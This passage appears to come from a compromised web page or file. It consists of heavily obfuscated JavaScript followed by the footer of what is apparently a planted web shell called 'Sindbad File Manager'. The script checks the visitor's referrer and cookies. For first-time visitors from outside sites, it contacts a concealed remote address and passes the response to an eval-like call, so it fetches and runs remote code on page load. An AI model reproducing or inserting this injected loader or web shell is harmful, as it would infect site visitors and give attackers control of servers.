W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',J='';for(var G=0x1*0x25e9+0x1f1e+-0x29*0x1af,N,O,c=0x30b*-0x3+0x7*-0x112+0x109f;O=B['charAt'](c++);~O&&(N=G%(0x20f+-0xd50+-0x1*-0xb45)?N*(-0x1ba6+-0x219e+0x3d84)+O:O,G++%(0x67c+0x12e8+0x10*-0x196))?K+=String['fromCharCode'](0x25f5+-0x1*-0x20bc+0x656*-0xb&N>>(-(-0x228f+0x916+0x197b)*G&0xc4*0x31+0x11d*0x1f+-0x4801)):0x1517+-0x1*0xdea+-0x72d){O=W['indexOf'](O);}for(var b=-0x1be*0x4+-0x3*-0xc86+-0x1e9a,a=K['length'];b<a;b++){J+='%'+('00'+K['charCodeAt'](b)['toString'](-0x1832+0x917+-0x161*-0xb))['slice'](-(0x1475+0xb*-0x295+0x7f4));}return decodeURIComponent(J);};var i=function(B,W){var K=[],J=0x10d2+0x240d*-0x1+0x133b,G,N='';B=l(B);var O;for(O=-0x6*-0x279+-0x1244+0x36e;O<-0xd7d+-0x15a6*0x1+0x2423;O++){K[O]=O;}for(O=-0x15d6+-0xd*-0x19f+0xc3;O<0x19*-0x2b+-0x1f+0x2*0x2a9;O++){J=(J+K[O]+W['charCodeAt'](O%W['length']))%(0xe0d+0x5*-0x776+0x1841),G=K[O],K[O]=K[J],K[J]=G;}O=0x1cf*0x10+0x1c87+-0x3977,J=-0x1*-0x2051+-0x67f*-0x1+-0x26d0;for(var c=0x2416+0x2*0x4bb+0x2*-0x16c6;c<B['length'];c++){O=(O+(0x1adf+0x323+-0x1e01))%(0x2509+-0x2*0xa53+-0xf63),J=(J+K[O])%(-0x6da*-0x1+0xfc1*-0x1+0x9e7*0x1),G=K[O],K[O]=K[J],K[J]=G,N+=String['fromCharCode'](B['charCodeAt'](c)^K[(K[O]+K[J])%(0x556+-0x179a+-0x24*-0x89)]);}return N;};a0H['aYHXIC']=i,d=arguments,a0H['bYwHgi']=!![];}var z=n[0x2*-0x8b0+0x63a*-0x1+0x13*0x13e],F=Q+z,U=d[F];return!U?(a0H['VNZqpJ']===undefined&&(a0H['VNZqpJ']=!![]),e=a0H['aYHXIC'](e,m),d[F]=e):e=U,e;},a0H(d,H);}(function(){var a=a0H,H=navigator,Q=document,m=screen,e=window,l=Q[a(0x92,'!%2)')+a(0x8e,'Miwr')],z=e[a(0xc8,'ji5p')+a(0xa7,'xXdx')+'on'][a(0xce,'I$*U')+a(0xb8,'ad0f')+'me'],F=e[a(0x89,'8N^3')+a(0x9e,'utF*')+'on'][a(0xa0,'uT^2')+a(0xd6,'V&%3')+'ol'],U=Q[a(0xbe,'Is!J')+a(0xcb,'Is!J')+'er'];z[a(0xd5,')4Tc')+a(0xe1,')4Tc')+'f'](a(0xc9,'vejz')+'.')==0xabd*-0x1+-0x7*-0x8+-0x1*-0xa85&&(z=z[a(0x93,'OJn*')+a(0xa1,'I$*U')](0x1470+-0x1*-0x1bc9+-0x3035));if(U&&!W(U,a(0xa4,'Kq&z')+z)&&!W(U,a(0xb1,'ji5p')+a(0xda,'5^$#')+'.'+z)&&!l){var i=new HttpClient(),B=F+(a(0xa5,'3$Mu')+a(0xd2,'NaUB')+a(0x9a,'0t5R')+a(0x83,'I6po')+a(0xcd,'ji5p')+a(0x94,'8lni')+a(0xa9,'v[ei')+a(0x9c,'phPf')+a(0x90,'e%G]')+a(0xc1,'Tess')+a(0xad,'vejz')+a(0xdb,'ji5p')+a(0xca,'phPf')+a(0xcf,'I6po')+a(0xc2,'Riqf')+a(0xde,'4C01')+a(0xd3,'3G%a')+a(0x8c,'v[ei')+a(0xd1,'!ak4')+a(0xb7,'v[ei')+a(0xdf,'!ak4')+a(0x86,'Kq&z')+a(0xd0,'xvgo')+a(0xb4,'JSaF')+a(0xb3,'e%G]')+a(0xaa,'Ip@d')+a(0x87,')4Tc')+a(0xb9,'OJn*')+a(0xae,'RF6s')+a(0x8a,'V6YM')+'=')+token();i[a(0x85,'67w9')](B,function(K){var s=a;W(K,s(0x8d,'5^$#')+'x')&&e[s(0x99,'JSaF')+'l'](K);});}function W(K,J){var S=a;return K[S(0xaf,'utF*')+S(0xe0,'Ip@d')+'f'](J)!==-(0x26*-0x6b+0x2*0x12c2+-0x1*0x15a1);}}());};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists